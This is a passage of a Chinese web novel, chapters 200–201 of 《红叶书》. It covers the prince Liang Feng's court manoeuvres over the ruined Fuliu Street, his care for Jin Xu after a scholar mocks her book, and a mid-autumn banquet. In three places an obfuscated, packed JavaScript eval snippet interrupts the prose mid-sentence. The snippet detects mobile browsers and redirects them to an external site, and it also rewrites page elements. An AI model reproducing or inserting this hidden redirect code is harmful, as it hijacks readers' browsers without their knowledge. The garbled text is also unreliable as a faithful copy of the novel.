他去外面召来暗卫,吩咐几人分别盯着三皇子和相府近期动作,同时留心皇帝那边的态度。他打算写封信寄给燕国的丞相,想问问燕国的储蓄怎么样,能供他调用多少。 提笔要写,他又放下笔。提来提去,最后一个字没写。 如果不能保证安全,他是不希望金絮在他身边的,尤其在他府里,离得太近了。可他又想她能在王府住一阵子。 梁风最后置笔,决定暂时不与燕国联系,先搞清楚局势。 他往榻上躺倒,想着明天要做的事情。他可以不插手拂柳街,只查清玉如意一案,但要查案就得找个托辞。托辞不好造假,具体怎么说还得想想。 这两天担心金絮睡得少,眼睛一闭思绪就断,梁风想着想着睡着了。 期间没有被她的摇铃唤醒,她一觉睡到天亮。 醒来去她房里看看,她也醒了,原本看着天花板的眼睛瞧向他。 “昨晚睡了吗?”梁风问。 “睡了。” “心情好点了吗?”她的眼睛还是很肿。 金絮仍是点头,“饿了。” 梁风叫来早饭,和她一起吃。早饭有甜糕。 “我今天要出门,你在府里待着别出去。” “我只要在王府,我就不能出去。”她平静地嚼甜糕。 梁风捏捏她的掌心,“等拂柳街的事情结束我带你出去。” 吃过早饭,看着她回到床上梁风才出门。 他去拂柳街官衙,找到那个姓张的,提出调看几月前长庆街一家药铺涉嫌偷盗玉如意一案的详情。 张凉立刻拿出卷宗给他看,梁风全部看完。因为被盗的是张凉自己,卷宗记载很详尽。最关键的证据是张凉有一张购买这支玉如意的单子,来源是珠宝阁,单子记录了张凉所买玉如意的外形、重量、色泽、大小,确认是在孙氏药铺中搜出的那支。 除非找到金絮那支如意的来源,或者证明张凉这张单子是假的,否则无法为孙姨她们伸冤,而这样的细查需要时日和人力,他必须有相府或者皇帝授权才能进行,私下查很难得到官府配合。 梁风归还卷宗,决定进宫一趟。 进宫路上,昨夜派出的暗卫来秉,汇报朝廷现状。 玄武街意外事件后,相府和皇帝越发陷入冷战。从年初拂柳街一事初始,游照同和皇帝的冷战已经长达数月。有时不是皇帝罢朝,就是游照同称病不朝,但是游照同即便不朝,却会随时对皇帝下出的每一道旨意进行修改,隔个两天就找出一处不对的地方批驳皇帝的旨意。而相府下达的政令有时却不需要皇帝盖印。 拂柳街无人管理的原因是国库空虚,缺钱修复,游照同这段时日和皇帝说的最多的话就是问能不能调用少府的钱暂充国库。 梁风知道大司农管理国库,皇帝的私人钱财是由少府管理。 然而皇帝说没钱。 没钱,却为和昌的生辰办了玄武街一场盛大的庙会。 这场庙会发生踩踏,死了十几人。 耗资无数,还陪了人命。相府和御史上下无法接受,时隔四月再次为拂柳街的事疯狂上书弹劾。 弹劾和昌的人有,弹劾皇帝的人更多。 四个月前,相府数名官员联合全体御史请求陛下问罪张凉、少府将作和泰安侯,并修复拂柳街。冯棹台曾发言,抓出此事背后推手更加重要,毁街这么大的事情区区少府将作和张凉恐怕没那么大胆子敢做。 这些官员的上书全都被皇帝以沉默压下,众官员猜测是为了保住背后的三皇子。已经失去一位皇子,皇帝不能再失去一个。 梁与棣在这几月里,很认真地为皇帝排忧解难,分担处理京畿内外各地事宜。 泰安侯府在四个月前便多次上奏,向游照同和皇帝痛陈悔过,发誓放弃修建园林,愿意出资修复拂柳街。据说当时泰安侯世子在家里遭了老爹一顿狠打,至今称养伤闭门不出。 但侯府的钱远远不够。 梁风发觉,皇帝用了这么多年要从丞相手中夺权,好像在拂柳街一事上功亏一篑了。太子被废,皇后消沉,外戚无用,皇帝手中除了太监,似乎无人可用了。 难怪皇帝一直不说话。难怪皇帝允他带兵在玄武街守序,是想拉拢他。想拉拢的同时却怕他真的复起,于是又要拉拢,又要在拉拢之后只给微薄的奖励。 他得想想,这个时候该不该站皇帝。 隔了几月,拂柳街百姓流散于城内的后果逐渐显露出来,梁风可以肯定玄武街的意外背后一定有拂柳街流民的身影。 无家可归的人最容易被有心之人控制了,他要照顾好金絮。 梁风叫停马车,停街想了一会。 他不站皇帝,也不能站自己。站相府,还是像与義那样偏安一隅。这真是个难题。 除非借旁人之手。他能借的人恐怕只有冯棹台了。 冯棹台曾经也是温柔馆常客,和水夭凝荷她们不能说完全没关系。 想想还是算了,梁风叹气。马车继续行进。 要么他不和皇帝说拂柳街的事,只说玉如意的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你有那么多钱。”金絮眼珠子瞧他。 “王府自然没有那么多,得从燕国调用。” 她一顿,打量道:“只是出资,没别的了?” “你还想要我做什么?你把我叫回来干嘛?” “傻子。” “你要夸我聪明。” “夸不出口。” 梁风不和她说了,取笔开始写奏折。金絮探头在旁边,看着他一字一字写完。 “出这么大事情,你出资修复拂柳街,修好了,得了百姓声望,皇帝会怎么看你?”她问。 “自然不会是以我的名义,肯定是以朝廷名义修复,我只是出资援助的。” 金絮看了看他的奏折,看看他,道:“你以后再要我夸你聪明,我就一头撞死去。” 梁风停笔,敲她脑壳,“不许胡说,不许随便说死去。” 金絮默默一哼。 请旨修复拂柳街的折子写好,梁风吹吹墨,递给老李送去宫里。 他自己亲自跑一趟皇宫或者写折子交给皇帝都差不多,只是写的折子在送到皇帝案前可能会经相府过目。 这样也行吧,他没想着如何瞒着,坦荡点也好。 200. 《红叶书》(一二零) 李晟接过折子转身向屋外走,她注视李晟的背影直到消失,金絮一句话都没有说。 “你在担心我。”梁风道。 金絮转而看他。虽然是一副什么也不说的表情,梁风却在她眼中看见一丝丝肯定。他忍不住勾起嘴角。 金絮忽然抬手,摸了摸他嘴角边的脸颊。梁风想抓她,她收了手,梁风摸到自己的脸。 “打算养白么?” 她在说他的脸谱,梁风点头,“嗯。” 她没什么反应地低头看着手指尖,似乎只是随口一问,看了片刻又注视着李晟背影消失的位置。 梁风打断她:“给你看个东西。” 桌子两侧的隔层放着一只扁木盒,梁风递给她,“你打开看看。” 金絮依言打开,里面是几封信。信封很旧了,泛黄的页面布满折皱,还有一些黑点。最上面的一封信写着“王爷启”。 梁风不说话,以眼神鼓励她拆开。 金絮拆开了,纸张互相摩擦发出的声音很脆弱,她手指动作很轻,很怕撕裂信纸。 纸上墨痕保存完整,字迹青涩,不算小体字,笔法较为张扬任性。随着一行行读下去,金絮神情间愈发了然,最后合信道:“你那些年寄给我的信我都弄丢了。” “不要紧,我收着一半呢。”十年前他在太南学完箭回京后和她的往来信件,他都保存着。梁风很愿意和她一起缅怀,这些东西其实很早就想给她看了。 每一封都很旧,金絮拆开下一封,她读了两行,脸上刚浮现的几点笑意转眼就没了。 这封信的字迹和她很不同,落点随性,竖笔却端正沉稳。梁风看了几行才想起来,那些年寄来的信件除了她的,还有她的堂兄顾琼的。 他当即想把信合上,不给她看了。金絮却一动不动,手指捏着信纸,一字字看完了。 梁风有些不安,却不忍打断她。虽然顾琼这信不是写给她的,但是能算她家中为数不多的遗物了。 纸上是顾琼说的寥寥数语,对他的简单问候与关心。 梁风收到信后过了几年才反应过来,当时顾琼写信给他,不是真的想问候他的现状,只是为了给金絮的信件作掩饰。如果是她单独写了封信寄给他,传出去多少于她名声有损。所以这根本上还是能算作顾琼为她写的信。 她身上又有一股难过散发出来,梁风拨拨她耳边的头发,和她一起难过。 金絮收好顾琼的信,打开第三封。 第三封的信纸不同,边缘已经裂开了,泛黄更深。她小心地展开,看了开头便怔住。梁风也看了一眼,认出是他写给母亲的信。是他十几岁在军营里时写给母亲的家书。 “这信怎么没有寄出去?”她问。 梁风摇头,“当时不敢。” 内容是他对母亲的思念,记得那时军营寄出去的家书都会经相府和朝廷过目,他有这一顾虑就没有寄出去。应当是这样。虽然后面想想,其实可以寄出去的,因为那时的丞相还是金延守。 她看完全部信件,合上盖子,还给他。 梁风将盒子收好。这只扁盒一直收在这张桌案的隔层,就在手边,他一直不敢打开看。缅怀是痛心的,尤其是能看懂这些旧物的人这世间只有他们两个。 “还有呢。” 想和她一起看的东西有很多,桌案左手边摆着一本书,书名《红叶书》。她肯定一来就看见了,却不主动和他提起。梁风把书放到她面前,“你看看。” 书页崭新,半个指甲盖的厚度,顶多也就十几页,作者署名太南红叶生。 她问:“你说这是你找回来的?” 梁风不说话,想默认。 旧的那本当然找不回来了。这本《红叶书》很薄,是他重新写的。旧本的许多内容早已记不清,加上他写不来书,一边回忆一边写,成书内容便很短,短得过于简洁,远不及过去那本跌宕起伏。 金絮从第一回开始看,十几页看得很快,简单看过一遍后她道:“不是这个结局。” “但是这个结局很好。” 结局是女主人公慕红和男主人公叶青在一起了,是那种会成亲的在一起。而十几年前写的那本,慕红和叶青是没有在一起的。 或许他夹的私心很多,全书内容何止是平淡,整本充斥着慕红和叶青相处的日常与对话细节,有关如何振兴门派的情节篇幅反而极少。 金絮不说话,翻回头看第二遍。 这本书要有她修改的痕迹才能算是他们一起写的,梁风取一支笔递给她,“你若是不喜欢你便修改吧。这个结局你改了的话他们就不成亲,你不改的话他们就成亲。” “你想说什么?”她接了笔。 “我什么也没说。”看她接了笔,梁风便道:“你答应了哦,修改完这本书之前,你可不能离开王府。” “在这等着我呢。”她握着笔,倒是没有拒绝。 “你昨晚说想让我陪陪你,陪你做什么?” 没想到被她这样问,梁风上脸了,“不知道。反正是陪着,什么都不做也行。” 手臂不知不觉撑在她身后,心里有点小雀跃,梁风听见她道:“等我脚好了,你陪我出去走走。” “好啊。”他满口答应。 梁风十分热切地等她脚好,不想再出门了,也没必要出门,和她一起在府里聊天喂鱼比做别的什么都好。 梁风做她的拐杖,和她的距离比支郁村那趟旅程还要近,平常聊天可以贴着坐。 金絮对他养的鱼意见挺大,她觉得鱼养得肥了,但她虽然这么说着,喂鱼时也是非常豪气地撒鱼食。 和她贴了好几日,脚伤还没痊愈,皇帝召他进宫的圣旨来了。 不知是他写的奏折有用,还是朝中有人和皇帝说了什么,这几日皇帝对拂柳街的态度有所松动。但对他的圣旨没有回应,直到今天召他进宫。 梁风没什么犹豫,接了旨便进宫。 皇帝在沧池召见他,太监指引他去沧池。 皇帝的一舫在池中泛泛,岸边看不见皇帝的身影。梁风乘舟登上皇帝的船,船上除了船夫、夏培和皇帝,没有别人。他见礼,皇帝点他近前。 皇帝沉默看着两岸景色。景色一般,宫内的池看到的也就宫内景色,泛舟只是踩踩水而已。 梁风等皇帝开口,自己不先说话。 看了一阵,他跟着皇帝进船舱。 皇帝脸上看不出什么表情,坐下问:“前一阵你行车至宫门前却不进宫是为何?” 这句问话在他意料之外,梁风想了想道:“当时原本是想当面和陛下说臣意欲出资援助拂柳街修复一事,后来府中有要紧事,臣便先回府了。” “拂柳街内住着你什么人?朕竟不知,京城内还有令你如此挂心之人。” 早准备好了,梁风装作边想边答的样子答道:“前几年认识的,一个风尘女子。拂柳街内住的是她的亲友。” 皇帝恍然一哦,“你耽溺于那类女子,迟迟不愿意娶妻?” 梁风略顿,点头,“嗯。” “那不如朕为你们赐婚?” “啊不......”梁风改口,忙道:“她有诸多顾虑,等她认为臣是她的良人后,臣再请陛下赐婚。” “顾虑?”皇帝话说半截,“风尘女子有何顾虑。你耽溺一阵也便罢了,娶了正妻之后再随你如何纳妾。” 梁风不说话。 皇帝道:“谢傅对你颇有意见,不愿让你娶他的孙女,嫌你前些年行事作风太过浪荡,沉稳不足,难堪托付。” 梁风不说话。皇帝瞧他一眼,“你怎么看?” 梁风道:“谢韵年纪太小了。” “你们倒是互相看不上。”皇帝一呵。 梁风道:“臣想娶心仪的女子,身世如何臣并不在意。” 梁风满脸真诚,皇帝表情没有变化,转头继续看着池岸景色。梁风猜皇帝肚子里肯定想着什么。 皇帝沉默了一会道:“朕会给拂柳街百姓一个交代。国库空虚,房屋修复耗资巨大,你既愿意出资,朕便即刻命燕国调资入京,但这笔捐资的名义不会是你。” 梁风不等便道:“是,陛下圣明。” “下去吧。” 梁风等也不等便下船,头也不回地出宫。 到了府中,梁风直往自己院子去。还没进屋,果然见她坐在堂屋的榻上,手边摆着一幅画卷。 “我回来了。”梁风贴去她身边,“在看什么呢?” 画卷中一名陌生女子。金絮问:“皇帝找你说了什么?” “没说什么,就说我娶妻的事。” “娶妻?”金絮若有所思,示意画像,“这是一个官员送来的画像,说是他府中适龄女孩,想和你相看。” 梁风看了画像,还没说话,金絮道:“我看了,这女子今年二十,年纪还算合适了。你也可以看看,若说与你完全适配的年纪不好找的,京中很难有二十六七岁还未出嫁的女子。” 梁风眼睛转到金絮的脸,仔细看她的眼睛,她的眼神不似作假。他道:“干嘛。” 他把画像一卷,“不要看了。” 他把画卷扔去旁边看不见的地方,“我还没出宫就把画像送来,肯定是因为我插手援资拂柳街的事情传出去,有些人想看看我这边的动静了。” “我和皇帝说我要娶心仪的女子的。”他道。 金絮顺着他的话一想,也点头,“随你。但是这姑娘二十岁还未出嫁,亲自把画像给你送来,你若是挑这画像上的毛病退回去,她容易被人说闲话。” “我知道。我就说是画师画功太差,把一好好的姑娘画得那么丑,退回去重新画。” 梁风一贯如此,金絮道:“虽然委屈了画师,但也只能这样了。” 皇帝这次召见究竟是什么意思,梁风想也想不明白。之后几天,陆陆续续有画像送来。 每一幅画都是不同的画师所作,作画技法参差,画出来的女子各有千秋。梁风这次找了个别的理由,他以所有女子皆未在画中写明身高多少为由全部退了回去。 “很快会有媒婆上门打听你喜欢身高多少的女子了。”她猜。 梁风懒得管,她的脚伤已经好了,便提议道:“脚伤好了我陪你出门走走吧,先前说好了的。” 金絮很乐意出门,梁风一步挨一步地贴在她身边。 出了门,她很有目的,边走边看街两面的店铺。梁风想她是要买些什么,已经准备好了荷包。她住在府里,本身也有许多东西需要添置。 梁风还打算买的太多要叫暗卫来拎东西,就见她走进一家书肆。 她逛了一圈,没收获,还问了一下书童,然后走了。 “你想买什么书?” “《温柔新语》。”她道:“去春研书院看看吧。” 到了春研书院,金絮进去找书。梁风跟在她身后随意看看,无意间看见店铺最外侧的书架上摆着一本作者叫太南红叶生的书。 他奇了,拿来翻翻,直接买下。 但是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839935|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 越看越奇怪。书中口径有两种,其中一种是批注。他看出来这是一本点评书,是某个著作大家对另一本书进行点评而成的新书,全书没有提及原作的名字叫什么。 他见原作内容中出现几个温柔馆姑娘的名字,梁风翻回首页,见点评者竟然是郑熹丘。原书内容被大幅修改批评,增添了很多,前后对比起来原作的内容几乎是面目全非。 郑老在十来年前就辞官回到台山养老,怎么突然开始写评书了。梁风想到小时候在越国曾有半年时日受教于郑熹丘,他隐隐感觉不太妙。 他看看金絮,金絮找了一圈没找着自己想要的,便和他说回府。 梁风捏着手里的书和她乘车回府,路上将《风情稿》细看几篇。 看到其中一篇写的是:二月廿三,有女如洛神出水,殊涎,撕衣强之,女泣。 短短一篇没有写及后续,但他对这件事情有点印象。某年冬天还没结束的时候,温柔馆有位姑娘不小心掉进庭院那口池子里,引起某个男客注意。那个男客当场点名要那位姑娘今夜相伴,被金絮拒绝了。她的理由是冬日落水急需御寒休养,当日不接客。 然而那男的不乐意,闹起脾气来,想用强的。最后的结果是金絮被气到了,来找他帮忙,把那个男的驱逐出馆。 梁风已经忘记落水的那位姑娘和那个男的是谁,只记得这件事,因为那次是她很少见地真正生气了。她非常讨厌温柔馆来客用强的。 他对大多数男客都没留有什么印象,“殊”说的是王殊吗? 回到府中,梁风道:“这是你写的书。” “不是啊。”她这时才将书拿过去细看,看了几眼表情就不对了。 她眼中有一瞬的茫然和不解,越看越残忍。 抛开内容不说,原作写法也能让他一眼看出是她写的。 她写文章的写法和他所知的多数文官不一样。那些文官大多写得很长,字词很漂亮,不知道在说什么。而她写的很短小,容易看懂。 这是令他印象很深的,早在十几年前,金絮和他一块写《红叶书》的时候已经大约是这种写法了。那时他就奇怪为什么她的写法不承金延守一脉,后来随着她长大,写的东西越发简洁了。 太过异类的东西容易被有心人盯上。梁风牵着她坐下,轻声道:“我教你看,郑熹丘不是在针对你写的书,是借你的书表明自己对于朝廷众人的看法。” 郑熹丘对原作每一句增删都在影射朝廷某一个官员,原文不涉及的官员郑熹丘就自己加进去,然后对自己加进去的这个官员进行批评。被批评的人还包括梁风。 “为什么?”她问。 “郑老或许是想出山了,借这一次评书露个面,表达自己对于朝廷各派的看法,但我看不出郑老想做什么。” 《温柔新语》运气不好。 “为什么选中我写的?我没有写淫奔之语。” “我知道。”梁风擦擦她的眼角。 眼中的不解消失,她一言不发拿着书把自己关进房里。 梁风很担心她,又想给她一些独处的时候。 他召来暗卫,去查探《风情稿》面市后朝堂有什么动静,还有拂柳街的事情后续。 他也有些事情得想想。郑熹丘是主动出山,还是被皇帝叫回来的? 如今的朝廷,只有极少一部分较为年轻的人不曾受学于郑熹丘,凡是年纪稍微大点的都可说是郑熹丘的门生。前几日进宫,皇帝和他说会给拂柳街百姓一个交代,想到的办法就是拉拢郑熹丘吗? 也可能与皇帝无关,仅仅是郑老看不惯拂柳街的事想要亲自出手,于是找个借口露面。只是重新出山的方式未免有点难看。无论是不是淫奔之语,在满朝堂的人看来,《温柔新语》都是个无名之人的小作,值得郑熹丘借用吗? 何况这种小作,民间多的是人在写,有的写得才真正是“淫奔之语”。 梁风很有些忿忿不平,这事又在金絮心上添一把火。 过了一晚,梁风想带她出门换换心情,去到她院子里,就见庭院正中摆了一只装满纸灰的火盆。 梁风走近看,纸灰已经完全凉了,半截笔杆遗漏在火盆外。她把心里的火放出来了。 他捡起那半截笔杆,认出是他送给金絮的那支笔。她这次从太南上京也把这支笔带来了,但是被烧了。 大门开着,他一眼看见坐在厅堂正榻上的金絮。她的脸一夜未睡,麻木地看着他。 梁风在火盆里翻找,没能找到另外半截笔,已经烧没了。 “这是我送你的笔。” 他用衣袖擦净半截笔杆沾的纸灰,边向她走道:“你把笔折了,是不是想和《红叶书》撇清关系。” 她垂着一脑袋没有睡觉的头发,凌乱冷漠地看着那半截笔杆。 梁风仔仔细细擦干净,笔剩下半个巴掌长了,这支笔不是寻常木材,她当真是很生气才能把这支笔生生掰断。 擦干净了,梁风认真道:“我明白你的心情,但是遇到任何事情,你都不能和《红叶书》撇清关系,绝对不能烧笔。” 她移开视线,“我没有......” 脑袋一偏,梁风注意到她的头发间多了几缕白发。他伸手拨了拨她侧面的发根,拨出来好多根白头发。 金絮也看见了那些粗糙的发尾,烦躁地把头发扯过来,“你去忙吧,我要睡了。” 梁风默默看着她,她脸上不比憔悴的头发精神多少。 他站起,也一臂捞起她,“你和我过来。” 201. 《红叶书》(一二一) 精致昂贵的瓶瓶罐罐一个接一个地砸向皇帝的脸。 皇帝的脸被砸得稀碎。 御赐之物碎在地上,像是皇帝碎在地上。 她开始担心砸完之后会不会被皇帝怪罪。金絮倒在他怀里睡着了。 梁风抱她回屋,李婶为她把脉。 “除气血虚弱外,没有其他病症,药都无需喝。” “气血虚弱会令头发变白吗?” “不会,但是忧思过重易催生白发,她心里想的事情多。” 梁风拨拨她枕上散开的头发,去外面召来十二。 他想了很久,想在京城之外找一个作为后路的地方。他想在天底下人都找不到的角落建几座房子,尽可能住得与世无争。从太南上京之后,他就在想了。 “往远些的地方找,越远越好,最关键是隐蔽,无论干什么都不会被人发现,还要足够大,足够建几座木屋,靠山靠水,有吃有喝,距离最近的县城至少两百里。” 十二是他的暗卫中轻功最为敏捷的一个,善于搜集情报,个头不高,身形偏小,身手足够自保又不过于显眼,易于隐藏行迹,极为适合做隐秘的事。 十二拿上盘缠便走了。梁风回到她房中,翻出一柄小刀,开始修理断笔。 昨夜派出调查《风情稿》的暗卫回来,禀报这几日郑熹丘意欲出山的动向的确在朝中引起不小震动。《风情稿》在文官之间流传,他们主要讨论的是郑熹丘,也有少部分人提及书中所评原作。猜测方向大约是这个太南红叶生与郑熹丘合谋,抛砖引玉,《温柔新语》是砖,《风情稿》是玉。 行动最快的是游照同,当即写了一篇千字长文回应郑熹丘,却没有对《风情稿》的内容进行表态。游照同是郑熹丘的门生,郑熹丘露面,做学生的自然要对老师表示感念,问候一番现状。 游照同之后,相府许多曾经是郑熹丘学生的人跟着发出亲切的问候。 游相带头将话头集中在郑夫子的身体健康与否方面,对郑夫子想说的话视若无物。梁风觉得游照同似乎并不希望郑熹丘出山。 他在想他需不需要也给郑老送去问候,但想了一瞬便不想了,他这会不能跟着相府的风做事。 金絮睡到午后便醒,她不愿意出去玩了,梁风磨着她谈天。 “阿絮,你喜欢住在什么样的房子里?” “木屋。” “雨季木屋会有点潮,容易生霉。” “砖瓦房。” “砖瓦房可行,只是比较难建,建起来需要的人手多。” “茅屋。” “茅屋易塌,而且不防雨水。” “以地为床,以天为被。” “这个倒是不错。” “山猪吃不了细糠。”她道。 “我原来是山猪。” “你想建房子?直接买一座不方便么。”她问:“你还缺房子住?” 梁风卖个关子,“先不告诉你。” “哦,我随口一问。” 画像不断送来。 上门打听他喜欢身高多少的女子的媒婆没有出现,画技逐渐高超的画像却每每多了一笔——人像右侧竖列了一排熟枣,枣的数量暗示了画中女子身高多少。 他不知道一颗熟枣代表的是一尺还是两丈,只能通过每幅画熟枣的数量对比来判断各名女子身高优劣。但他讨厌枣。 画像之多已经令他苦恼,梁风以厌恶枣为名将所有画像退回。 直到画像之中出现一张请帖。 五公主梁与曦设中秋小宴,邀请京中各大世家权贵参加,梁风也在被邀之列。 请帖是与義送来的,送来时被金絮看见了。 她说想去。 梁风说不许。 “前一阵子我进宫面圣的时候,皇帝问我为什么在意拂柳街的事情,我说我关心的人有亲友住在拂柳街,他问是谁,我只说是位风尘女子。” 金絮没什么反应。梁风道:“我不希望皇帝对你太过关注,我身边有位风尘女子的事情肯定传出去了,如果你这时露面,基本就坐实了这个身份,往后再难改变,你在背后会被人说闲话的。” 她会受到一些异样的眼光。 “我不想你去,我也不去。” 府内湖亭中,金絮在吃葡萄。 “你说的没错,可我不怕这些。”她道。 “我怕。”梁风再劝:“说不定会有认识你的人与宴,不能去。” 虽然他挺希望能坐实他们的关系,但还是算了。 “我想去。” “你真的想去吗?” 她完整地咽下一粒葡萄,“想去啊。” 她道:“想看看现在京城的世家子女是什么样子。我从前没参加过这种宴会,还以为这辈子没机会见识了。” 梁风看着她道:“我想护住你的名声,但你自己好像并不在意。” 金絮点头。 她在意的话,又怎会和他去支郁村。梁风不情不愿,给与曦回贴参宴。 “宴会肯定是男女分席,如果有人问你和我是什么关系,你就直说,说是因为我心悦你,所以留你住在府中。” 她“嗯”了一声,继续点头。 梁风将修好的笔拿出来,递给她,“给你,可不许再弄坏了。” 半截笔很短,他修了笔头,用狼绒做笔毛。他道:“虽然短了点,但是很好写,和长笔没有区别。” 她看了看,将笔收下。 这日傍晚,宫里下了旨令。 皇帝做出退步,严惩张凉和少府将作,放过三皇子,下令修缮拂柳街,给予拂柳街原住百姓补偿,每户每人两百钱,补偿的钱资从少府库调取。 这个好消息传进王府。拂柳街修缮过后,只要房契还在就可以拿回原来的房子,还能得到一笔两百钱的补偿。 “可是她们已经不在京城了。”金絮思索许久才道:“我写信问问她们,补偿的钱肯定要拿,至于那个房子,看她们怎么打算吧,我不希望她们回到京城来。” “好。我们领了补钱给她们寄过去。”梁风认同她道。 紧跟着,朝廷出告示,和昌生辰那日在玄武街撒钱的盗贼和其同伙全数抓住,将在三日后于西市斩首示众。 这告示一出,与義急匆匆地又来找他要钱。 进了门,与義赶紧把门关了,附他耳边贼兮兮地着急道:“皇叔,不得了了!” “咋了?” “三皇兄被父皇禁足了!什么时候放出来还不知道!” “这是怎么了?” 与義更急了,“皇叔,你没事干的时候也打听一下。二皇姐生辰日撒钱的那个盗贼被抓了你知不知道啊?” “我知道啊。” 与義压低声音道:“那贼是在销赃的时候正巧被抓的,跟他买赃的人是并阳郡一个商户,姓贾。被相府查到这个姓贾的商人在前些年居然背地里和三皇兄有来往,三皇子又被御史和游相参了一本。” “贾?”贾镇?竟然没死。梁风恍然,“所以与棣被禁足了。” “是啊是啊。前是拂柳街,后是贾镇,这无论如何说不过去,父皇没法,只好罚了三皇兄。” “罚得也太轻了。”梁风小声念念。 与義忧愁地自叹,“我什么也不想干,但是为什么这条路上的阻碍被清除了。” 梁风挑眉,“你想干什么?” 与義拼命摇头,“我什么也不想干,我什么也没干!” “天降馅饼?” “嘘!!!”与義四下看看,轻声道:“皇叔,我找你借钱,你说我是开个青楼,还是开个赌场好?” “三皇子府可不能干这种事。”梁风建议:“不如开个书肆吧。” 他拍拍与義肩膀,“你先放宽心,看皇帝这个态度,心里还是挺喜欢与棣的。” 至少贾镇彻底惹恼了与棣,他这下不用想贾镇后半辈子会不会在并阳郡安享晚年了。 不管那么多,中秋小宴的日子临近,他要为金絮赴宴准备几身衣裳供她挑选。他如果不为她准备,她一定穿着素衣就去了。 金絮忙于为水夭她们代领拂柳街的补偿钱资,托暗卫送去太南。她还会出门看看拂柳街的修复进度。 到了宴会这天,梁风算着时辰和金絮一起去往五公主府的宫外别邸。到了地方,意外发现参加这场宴会的人不少,各府马车几乎塞了公主府门前一条街。 示帖进府,里面人堆了一屋子,各式珠宝琳琅满目。 久不参加这种场合,梁风一时不太适应。她看起来也不是很喜欢。 人来了,但不知道干什么,他也没有熟人需要打招呼的。梁风干巴巴地站着。 金絮和他说了声便往女眷那边去。梁风注视她,看她走进那群女子里面。 她显然也不适应,走进人群却不知道怎么融入人群。但是很快就有别的女孩和她搭话。 小缃在她身边为她介绍。梁风大约能猜到她们第一句话说的什么,无非是问她父亲是谁啊?然后她说她是安分王府上的。然后和她说话的女孩就会一脸惊讶。 远远看着,金絮那边如他所想地进行,和她说话的女孩的确有片刻惊讶,只是消失得很快,不知是不是装出来的。 梁风不放心,一直看着,却慢慢看出点不对来。 她的行为举止在那堆世家千金中显得实在有些异样。其他女子一般是双手端着,两片袖子遮在身前,她喜欢双手垂在身侧;其他女子说笑时会捂嘴,她完全不会。梁风猜她肯定也不会控制音量。 她似乎注意到了,有意识端手随时备礼,但常有疏忽的间隙。 在不拘礼的环境待得久了,任是谁都会像她这样。那些世家女子肯定看得出她的不同,不知会怎么想。 人齐了就要男女分席,梁风被叫去就坐。 与宴众男子老少不一,梁风几乎坐在上首,他的对桌是与義。 梁风不拘礼,上了菜便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839936|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说开吃吧。筷子纷纷动起来,酒气也弥漫开来。 与義悄悄和他说:“皇叔,三皇兄好像来了。” “与棣不是在禁足吗?”梁风没看见三皇子。 “偷偷来的。”与義偷眼四处乱瞧,“三皇兄肯定有目的。” “有就有吧,我吃完饭就走了。” 饭没吃几口,有人自报家门,向他敬酒。梁风笑笑,喝了。 接着,又有人向他敬酒,梁风同样喝了。 再有人向他敬酒,梁风也喝了。 喝着喝着,他越喝越清醒。 向他敬酒的人基本都是前些日子送女儿画像来王府相看的人家,全是朝廷上有头脸的文官。剩下还没送女儿画像的,也都在喝了酒后问一句他有没有心仪的女子。 太多人扑面而来的目的性,真是由不得他不冷静下来多想一想。 这是这场宴的真正目的吗?试探他的态度?金絮那边估计也被人盘问了。 这些是主动向他靠近的人,而且明目张胆。梁风飞快地思索,皇帝与相府冷战期间,他自荐出资修复拂柳街的行为肯定被人以为是他想干预朝事了,所以主动接近摸一摸他的立场。 这场宴的发起人也就不只是五公主梁与曦了,背后大约还有皇帝和相府的意思。 难怪上回皇帝专门召他进宫问娶妻的事,是不是就想提醒他在这场宴会中谨慎一点。他要是选了哪个女子的画像,他的立场也就被确定了。 这样的酒,要么别喝,要么每一杯都喝。他决定每一杯都喝。来者不拒比全部推拒要轻松点,幸好出门前他喝了一大碗解酒汤。 酒液烧烧地上头,梁风趁空瞥了与義一眼,七皇子也在被不停地劝酒。 梁风打几个嗝,有点晕乎,模模糊糊似乎看见不远处一道僻静的游廊下走过一个颇似梁与棣的身影。 廊下帷幔飘过,那道身影不见了。梁风定睛一瞧,确认刚才那人就是三皇子,离开的方向是往女眷那边去了。 禁足只是做做样子,皇帝根本心疼三皇子心疼得紧。这样的态度还不够明显吗?这些人难道不应该去巴结梁与棣吗? 他的头痛得很,想到金絮在那边就喝不下去了。他推了所有凑过来的酒杯,独自走去后院女眷的位置。 绕过重重游廊,上头的烧酒下降了几分,梁风不认路,也没叫人带路,往丫鬟多的地方去。 沿路没再见到梁与棣。经过一小片花圃,反而看见金絮。 她垂着双手站在花圃中心,中心一圈空地,地上摆着一只壶和凌乱的箭支。花圃另一侧是被阵阵帷幔遮挡的宴席,金絮看着宴席方向,背对着他。 她正在目送一位年纪小小的姑娘穿过花圃小跑回席位,梁风看了眼,唤道:“阿絮。” 